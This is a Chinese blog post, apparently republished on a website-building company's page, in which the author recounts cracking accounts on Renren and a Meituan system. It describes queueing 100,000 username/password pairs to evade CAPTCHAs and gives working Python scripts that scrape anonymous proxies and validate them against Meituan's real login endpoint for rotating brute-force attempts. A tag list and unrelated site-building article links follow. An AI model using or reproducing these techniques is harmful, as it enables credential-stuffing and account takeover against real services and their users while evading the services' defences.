1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。
这样就可以保证2/3的时间都在进行正常破解和扫号。
2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。
本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/
首先获取代理列表 :
from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
soup = BeautifulSoup(html_doc)
trs = soup.find('table', id='ip_list').find_all('tr')
for tr in trs[1:]:
tds = tr.find_all('td')
ip = tds[1].text.strip()
port = tds[2].text.strip()
protocol = tds[5].text.strip()
if protocol == 'HTTP' or protocol == 'HTTPS':
of.write('%s=%s:%s\n' % (protocol, ip, port) )
print '%s=%s:%s' % (protocol, ip, port)
of.close()
接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:
#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
while True:
lock.acquire()
line = inFile.readline().strip()
lock.release()
if len(line) == 0: break
protocol, proxy = line.split('=')
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': ''}
try:
conn = httplib.HTTPConnection(proxy, timeout=3.0)
conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
res = conn.getresponse()
ret_headers = str( res.getheaders() )
html_doc = res.read().decode('utf-8')
print html_doc.encode('gbk')
if ret_headers.find(u'/m/account/login/') > 0:
lock.acquire()
print 'add proxy', proxy
outFile.write(proxy + '\n')
lock.release()
else:
print '.',
except Exception, e:
print e
all_thread = []
for i in range(50):
t = threading.Thread(target=test)
all_thread.append(t)
t.start()
for t in all_thread:
t.join()
inFile.close()
outFile.close()
# 验证 HTTP代理 Python脚本
# Python程序中设置HTTP代理
# Python3.4实现从HTTP代理网站批量获取代理并筛选的方法示例
# Python request设置HTTPS代理代码解析
# 对python使用http、https代理的实例讲解
# Python代码实现http/https代理服务器的脚本
# python爬虫http代理使用方法
# Python异步爬虫requests和aiohttp中代理IP的使用
# python使用aiohttp通过设置代理爬取基金数据简单示例
# 解决python异步框架aiohttp无法使用本地代理问题
# python做http代理请求的项目实践
# 验证码
# 我是
# 都在
# 两次
# 有一定
# 是从
# 用了
# 上看
# 挂了
# 过快
# 解决这个问题
# 就可以
# 挂起
# 把该
# 几行
# 下次
# find
# trs
# table
# find_all
相关文章:
建站DNS解析失败?如何正确配置域名服务器?
大学网站设计制作软件有哪些,如何将网站制作成自己app?
定制建站方案优化指南:企业官网开发与建站费用解析
如何在局域网内绑定自建网站域名?
建站主机无法访问?如何排查域名与服务器问题
专业网站制作服务公司,有哪些网站可以免费发布招聘信息?
如何在橙子建站上传落地页?操作指南详解
娃派WAP自助建站:免费模板+移动优化,快速打造专业网站
家具网站制作软件,家具厂怎么跑业务?
香港服务器网站测试全流程:性能评估、SEO加载与移动适配优化
如何撰写建站申请书?关键要点有哪些?
视频网站制作教程,怎么样制作优酷网的小视频?
如何通过VPS搭建网站快速盈利?
ui设计制作网站有哪些,手机UI设计网址吗?
如何在VPS电脑上快速搭建网站?
建站之星如何防范黑客攻击与数据泄露?
如何在IIS服务器上快速部署高效网站?
定制建站平台哪家好?企业官网搭建与快速建站方案推荐
建站之星安装路径如何正确选择及配置?
PHP 500报错的快速解决方法
如何制作公司的网站链接,公司想做一个网站,一般需要花多少钱?
建站之星如何快速生成多端适配网站?
深圳防火门网站制作公司,深圳中天明防火门怎么编码?
用v-html解决Vue.js渲染中html标签不被解析的问题
哪家制作企业网站好,开办像阿里巴巴那样的网络公司和网站要怎么做?
如何高效搭建专业期货交易平台网站?
深圳网站制作公司好吗,在深圳找工作哪个网站最好啊?
如何快速建站并高效导出源代码?
如何在西部数码注册域名并快速搭建网站?
如何在IIS中配置站点IP、端口及主机头?
武清网站制作公司,天津武清个人营业执照注销查询系统网站?
如何快速搭建自助建站会员专属系统?
如何用虚拟主机快速搭建网站?详细步骤解析
网站企业制作流程,用什么语言做企业网站比较好?
南京网站制作费用,南京远驱官方网站?
如何在IIS7中新建站点?详细步骤解析
如何用好域名打造高点击率的自主建站?
深圳 网站制作,深圳招聘网站哪个比较好一点啊?
ppt制作免费网站有哪些,ppt模板免费下载网站?
如何在万网ECS上快速搭建专属网站?
建站主机数据库如何配置才能提升网站性能?
建站主机如何安装配置?新手必看操作指南
学校建站服务器如何选型才能满足性能需求?
长沙企业网站制作哪家好,长沙水业集团官方网站?
阿里云网站搭建费用解析:服务器价格与建站成本优化指南
企业微网站怎么做,公司网站和公众号有什么区别?
网站制作说明怎么写,简述网页设计的流程并说明原因?
行程制作网站有哪些,第三方机票电子行程单怎么开?
大同网页,大同瑞慈医院官网?
如何选择适配移动端的WAP自助建站平台?
*请认真填写需求信息,我们会在24小时内与您取得联系。